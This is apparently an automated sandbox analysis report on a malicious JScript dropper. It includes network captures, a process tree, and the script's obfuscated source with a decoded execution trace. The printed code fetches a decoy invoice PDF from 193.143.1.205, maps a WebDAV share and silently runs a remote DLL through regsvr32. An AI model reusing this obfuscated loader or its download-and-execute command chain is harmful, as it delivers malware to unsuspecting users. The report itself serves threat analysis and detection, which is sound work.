Jan 10, 2025 17:46:55.550997972 CET	1.1.1.1	192.168.2.4	0x3632	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:46:56.239581108 CET	1.1.1.1	192.168.2.4	0x7529	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:46:56.239581108 CET	1.1.1.1	192.168.2.4	0x7529	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7716	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:46:44.235169888 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:46:45.095196009 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:46:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:46:45.095221043 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:46:45.095240116 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 17:46:45.095252991 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 17:46:45.095273972 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 17:46:45.095288038 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 17:46:45.095359087 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 17:46:45.095372915 CET	896	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 17:46:45.095386982 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 17:46:45.095402956 CET	1164	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 17:46:45.137897968 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	8020	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:46:47.236078978 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:46:48.039917946 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:46:47 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:46:40
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js"
Imagebase:	0x7ff65ba90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:46:40
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll
Imagebase:	0x7ff7f1600000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:46:40
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:46:41
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:46:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	11:46:46
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f1600000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:46:46
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79cac0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:46:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	11:46:47
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:46:47
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1660,i,15573682708767360441,8606875034198900653,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function oampa() {	oampa() ➔ undefined
1	yfyocmd = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var gcodwrl = this[fvlalpl + aozsi + nplgav + abhfkknyc + djslhmxur + rdctsu + khdjutja + vjqdgcxeu] ( this[ellvj + fdredmfa + dbnonbck + nplgav + njwbld + fvlalpl + vjqdgcxeu][uhzvgg + nplgav + djslhmxur + aozsi + vjqdgcxeu + djslhmxur + dtkkfpg + mgttiut + tsuclzgto + djslhmxur + dbnonbck + vjqdgcxeu] ( ellvj + fdredmfa + dbnonbck + nplgav + njwbld + fvlalpl + vjqdgcxeu + gcipu + fdredmfa + vgvjmm + djslhmxur + jtnrfp + jtnrfp ) [teaoiqe + djslhmxur + hhhjfuot + teaoiqe + djslhmxur + aozsi + hjfqer] ( gtybu + mtssge + qrggzznzv + xdzcxungo + lgjmwev + uhzvgg + pombv + teaoiqe + teaoiqe + qrggzznzv + qllwcbc + jmjrows + lgjmwev + pombv + fdredmfa + qrggzznzv + teaoiqe + ytusf + uhzvgg + tmtguhvg + khdjutja + vjqdgcxeu + nplgav + tmtguhvg + jtnrfp + dcwicct + onvrv + aozsi + khdjutja + djslhmxur + jtnrfp + ytusf + rdctsu + khdjutja + vjqdgcxeu + djslhmxur + nplgav + khdjutja + aozsi + vjqdgcxeu + njwbld + tmtguhvg + khdjutja + aozsi + jtnrfp + ytusf + ofywnkfx + tmtguhvg + dbnonbck + aozsi + jtnrfp + djslhmxur ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( pucjw = 0 ; pucjw < yfyocmd[jtnrfp + djslhmxur + khdjutja + hhhjfuot + vjqdgcxeu + vgvjmm] ; ++ pucjw )
4	{
5	if ( gcodwrl == yfyocmd[pucjw] )
6	{
7	gcodwrl = true;
8	break ;
9	}
10	}
11	if ( gcodwrl !== true )
12	this[ellvj + fdredmfa + dbnonbck + nplgav + njwbld + fvlalpl + vjqdgcxeu][tyfusiv + kaumbjp + njwbld + vjqdgcxeu] ( );
13	this[ellvj + fdredmfa + dbnonbck + nplgav + njwbld + fvlalpl + vjqdgcxeu][uhzvgg + nplgav + djslhmxur + aozsi + vjqdgcxeu + djslhmxur + dtkkfpg + mgttiut + tsuclzgto + djslhmxur + dbnonbck + vjqdgcxeu] ( ellvj + fdredmfa + dbnonbck + nplgav + njwbld + fvlalpl + vjqdgcxeu + gcipu + fdredmfa + vgvjmm + djslhmxur + jtnrfp + jtnrfp ) [nplgav + kaumbjp + khdjutja] ( dbnonbck + fcwmun + hjfqer + dcwicct + csivhloe + dbnonbck + dcwicct + fvlalpl + tmtguhvg + cwcwm + djslhmxur + nplgav + abhfkknyc + vgvjmm + djslhmxur + jtnrfp + jtnrfp + gcipu + djslhmxur + ieqkuhzox + djslhmxur + dcwicct + olzfwwo + uhzvgg + tmtguhvg + fcwmun + fcwmun + aozsi + khdjutja + hjfqer + dcwicct + uxtwyqdq + rdctsu + khdjutja + qwybgmh + tmtguhvg + ivnxqcqu + djslhmxur + olzfwwo + ellvj + djslhmxur + mgttiut + teaoiqe + djslhmxur + puwyek + kaumbjp + djslhmxur + abhfkknyc + vjqdgcxeu + dcwicct + olzfwwo + dtkkfpg + kaumbjp + vjqdgcxeu + yjqunh + njwbld + jtnrfp + djslhmxur + dcwicct + rrjirbn + vjqdgcxeu + djslhmxur + fcwmun + fvlalpl + rrjirbn + ytusf + njwbld + khdjutja + qwybgmh + tmtguhvg + njwbld + dbnonbck + djslhmxur + gcipu + fvlalpl + hjfqer + tikdxp + dcwicct + vgvjmm + vjqdgcxeu + vjqdgcxeu + fvlalpl + yzzam + csivhloe + csivhloe + xlaesahw + mgjiw + yrrxp + gcipu + xlaesahw + zhjnje + yrrxp + gcipu + xlaesahw + gcipu + bigkbe + vwvpdchvt + stefvx + csivhloe + njwbld + khdjutja + qwybgmh + tmtguhvg + njwbld + dbnonbck + djslhmxur + gcipu + fvlalpl + vgvjmm + fvlalpl + uxtwyqdq + jbenqi + jbenqi + abhfkknyc + vjqdgcxeu + aozsi + nplgav + vjqdgcxeu + dcwicct + rrjirbn + vjqdgcxeu + djslhmxur + fcwmun + fvlalpl + rrjirbn + ytusf + njwbld + khdjutja + qwybgmh + tmtguhvg + njwbld + dbnonbck + djslhmxur + gcipu + fvlalpl + hjfqer + tikdxp + jbenqi + jbenqi + dbnonbck + fcwmun + hjfqer + dcwicct + csivhloe + dbnonbck + dcwicct + khdjutja + djslhmxur + vjqdgcxeu + dcwicct + kaumbjp + abhfkknyc + djslhmxur + dcwicct + ytusf + ytusf + xlaesahw + mgjiw + yrrxp + gcipu + xlaesahw + zhjnje + yrrxp + gcipu + xlaesahw + gcipu + bigkbe + vwvpdchvt + stefvx + rgelcmaf + zhemmrel + zhemmrel + zhemmrel + zhemmrel + ytusf + hjfqer + aozsi + qwybgmh + cwcwm + cwcwm + cwcwm + nplgav + tmtguhvg + tmtguhvg + vjqdgcxeu + ytusf + jbenqi + jbenqi + dbnonbck + fcwmun + hjfqer + dcwicct + csivhloe + dbnonbck + dcwicct + nplgav + djslhmxur + hhhjfuot + abhfkknyc + qwybgmh + nplgav + yrrxp + bigkbe + dcwicct + csivhloe + abhfkknyc + dcwicct + ytusf + ytusf + xlaesahw + mgjiw + yrrxp + gcipu + xlaesahw + zhjnje + yrrxp + gcipu + xlaesahw + gcipu + bigkbe + vwvpdchvt + stefvx + rgelcmaf + zhemmrel + zhemmrel + zhemmrel + zhemmrel + ytusf + hjfqer + aozsi + qwybgmh + cwcwm + cwcwm + cwcwm + nplgav + tmtguhvg + tmtguhvg + vjqdgcxeu + ytusf + xlaesahw + bigkbe + bigkbe + mgjiw + zhjnje + xlaesahw + prhapnml + mgjiw + xlaesahw + yrrxp + zhjnje + zhjnje + stefvx + stefvx + gcipu + hjfqer + jtnrfp + jtnrfp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll",0,false) ➔ 0
14	}
15	nplgav = "I";
16	nplgav = "b";
17	nplgav = "H";
18	nplgav = "S";
19	nplgav = "k";
20	nplgav = "A";
21	nplgav = "s";
22	nplgav = "n";
23	nplgav = "v";
24	nplgav = "U";
25	nplgav = "o";
26	nplgav = "T";
27	nplgav = "F";
28	nplgav = "r";
29	nplgav = "n";
30	nplgav = "p";
31	nplgav = "e";
32	nplgav = "u";
33	nplgav = "l";
34	nplgav = "X";
35	nplgav = "o";
36	nplgav = "g";
37	nplgav = "f";
38	nplgav = "G";
39	nplgav = "r";
40	nplgav = "n";
41	nplgav = "w";
42	nplgav = "d";
43	nplgav = "F";
44	nplgav = "g";
45	nplgav = "m";
46	nplgav = "c";
47	nplgav = "U";
48	nplgav = "s";
49	nplgav = "b";
50	nplgav = "I";
51	nplgav = "r";
52	mgttiut = "A";
53	mgttiut = "F";
54	mgttiut = "q";
55	mgttiut = "o";
56	mgttiut = "s";
57	mgttiut = "G";
58	mgttiut = "S";
59	mgttiut = "L";
60	mgttiut = "A";
61	mgttiut = "M";
62	mgttiut = "b";
63	mgttiut = "N";
64	mgttiut = "b";
65	zhjnje = "K";
66	zhjnje = "E";
67	zhjnje = "N";
68	zhjnje = "f";
69	zhjnje = "J";
70	zhjnje = "p";
71	zhjnje = "m";
72	zhjnje = "K";
73	zhjnje = "r";
74	zhjnje = "i";
75	zhjnje = "s";
76	zhjnje = "c";
77	zhjnje = "R";
78	zhjnje = "j";
79	zhjnje = "a";
80	zhjnje = "j";
81	zhjnje = "n";
82	zhjnje = "y";
83	zhjnje = "H";
84	zhjnje = "O";
85	zhjnje = "4";
86	rgelcmaf = "S";
87	rgelcmaf = "Z";
88	rgelcmaf = "A";
89	rgelcmaf = "T";
90	rgelcmaf = "Y";
91	rgelcmaf = "@";
92	bigkbe = "r";
93	bigkbe = "e";
94	bigkbe = "V";
95	bigkbe = "W";
96	bigkbe = "q";
97	bigkbe = "n";
98	bigkbe = "O";
99	bigkbe = "h";
100	bigkbe = "l";
101	bigkbe = "X";
102	bigkbe = "t";
103	bigkbe = "V";
104	bigkbe = "Y";
105	bigkbe = "p";
106	bigkbe = "w";
107	bigkbe = "d";
108	bigkbe = "C";
109	bigkbe = "k";
110	bigkbe = "C";
111	bigkbe = "h";
112	bigkbe = "b";
113	bigkbe = "M";
114	bigkbe = "n";
115	bigkbe = "l";
116	bigkbe = "O";
117	bigkbe = "d";
118	bigkbe = "D";
119	bigkbe = "w";
120	bigkbe = "p";
121	bigkbe = "n";
122	bigkbe = "j";
123	bigkbe = "F";
124	bigkbe = "i";
125	bigkbe = "v";
126	bigkbe = "h";
127	bigkbe = "r";
128	bigkbe = "v";
129	bigkbe = "i";
130	bigkbe = "g";
131	bigkbe = "2";
132	yzzam = "f";
133	yzzam = "H";
134	yzzam = "s";
135	yzzam = "Q";
136	yzzam = "S";
137	yzzam = "z";
138	yzzam = "y";
139	yzzam = "y";
140	yzzam = ":";
141	ellvj = "L";
142	ellvj = "l";
143	ellvj = "i";
144	ellvj = "u";
145	ellvj = "J";
146	ellvj = "A";
147	ellvj = "U";
148	ellvj = "n";
149	ellvj = "q";
150	ellvj = "Z";
151	ellvj = "Q";
152	ellvj = "a";
153	ellvj = "y";
154	ellvj = "b";
155	ellvj = "r";
156	ellvj = "C";
157	ellvj = "n";
158	ellvj = "g";
159	ellvj = "F";
160	ellvj = "g";
161	ellvj = "b";
162	ellvj = "d";
163	ellvj = "A";
164	ellvj = "O";
165	ellvj = "d";
166	ellvj = "v";
167	ellvj = "W";
168	olzfwwo = "h";
169	olzfwwo = "z";
170	olzfwwo = "h";
171	olzfwwo = "i";
172	olzfwwo = "u";
173	olzfwwo = "w";
174	olzfwwo = "V";
175	olzfwwo = "D";
176	olzfwwo = "W";
177	olzfwwo = "E";
178	olzfwwo = "o";
179	olzfwwo = "B";
180	olzfwwo = "k";
181	olzfwwo = "K";
182	olzfwwo = "J";
183	olzfwwo = "L";
184	olzfwwo = "Z";
185	olzfwwo = "p";
186	olzfwwo = "G";
187	olzfwwo = "W";
188	olzfwwo = "h";
189	olzfwwo = "Z";
190	olzfwwo = "d";
191	olzfwwo = "J";
192	olzfwwo = "Z";
193	olzfwwo = "H";
194	olzfwwo = "n";
195	olzfwwo = "t";
196	olzfwwo = "N";
197	olzfwwo = "S";
198	olzfwwo = "f";
199	olzfwwo = "w";
200	olzfwwo = "P";
201	olzfwwo = "-";
202	jbenqi = "&";
203	vjqdgcxeu = "Q";
204	vjqdgcxeu = "u";
205	vjqdgcxeu = "I";
206	vjqdgcxeu = "f";
207	vjqdgcxeu = "F";
208	vjqdgcxeu = "h";
209	vjqdgcxeu = "e";
210	vjqdgcxeu = "s";
211	vjqdgcxeu = "k";
212	vjqdgcxeu = "W";
213	vjqdgcxeu = "E";
214	vjqdgcxeu = "m";
215	vjqdgcxeu = "u";
216	vjqdgcxeu = "P";
217	vjqdgcxeu = "y";
218	vjqdgcxeu = "Y";
219	vjqdgcxeu = "g";
220	vjqdgcxeu = "x";
221	vjqdgcxeu = "Y";
222	vjqdgcxeu = "f";
223	vjqdgcxeu = "V";
224	vjqdgcxeu = "m";
225	vjqdgcxeu = "W";
226	vjqdgcxeu = "R";
227	vjqdgcxeu = "k";
228	vjqdgcxeu = "B";
229	vjqdgcxeu = "k";
230	vjqdgcxeu = "h";
231	vjqdgcxeu = "d";
232	vjqdgcxeu = "J";
233	vjqdgcxeu = "T";
234	vjqdgcxeu = "h";
235	vjqdgcxeu = "i";
236	vjqdgcxeu = "H";
237	vjqdgcxeu = "Z";
238	vjqdgcxeu = "S";
239	vjqdgcxeu = "a";
240	vjqdgcxeu = "t";
241	fvlalpl = "p";
242	fvlalpl = "N";
243	fvlalpl = "W";
244	fvlalpl = "V";
245	fvlalpl = "k";
246	fvlalpl = "b";
247	fvlalpl = "t";
248	fvlalpl = "d";
249	fvlalpl = "c";
250	fvlalpl = "m";
251	fvlalpl = "D";
252	fvlalpl = "s";
253	fvlalpl = "X";
254	fvlalpl = "G";
255	fvlalpl = "M";
256	fvlalpl = "x";
257	fvlalpl = "x";
258	fvlalpl = "G";
259	fvlalpl = "E";
260	fvlalpl = "Y";
261	fvlalpl = "M";
262	fvlalpl = "y";
263	fvlalpl = "o";
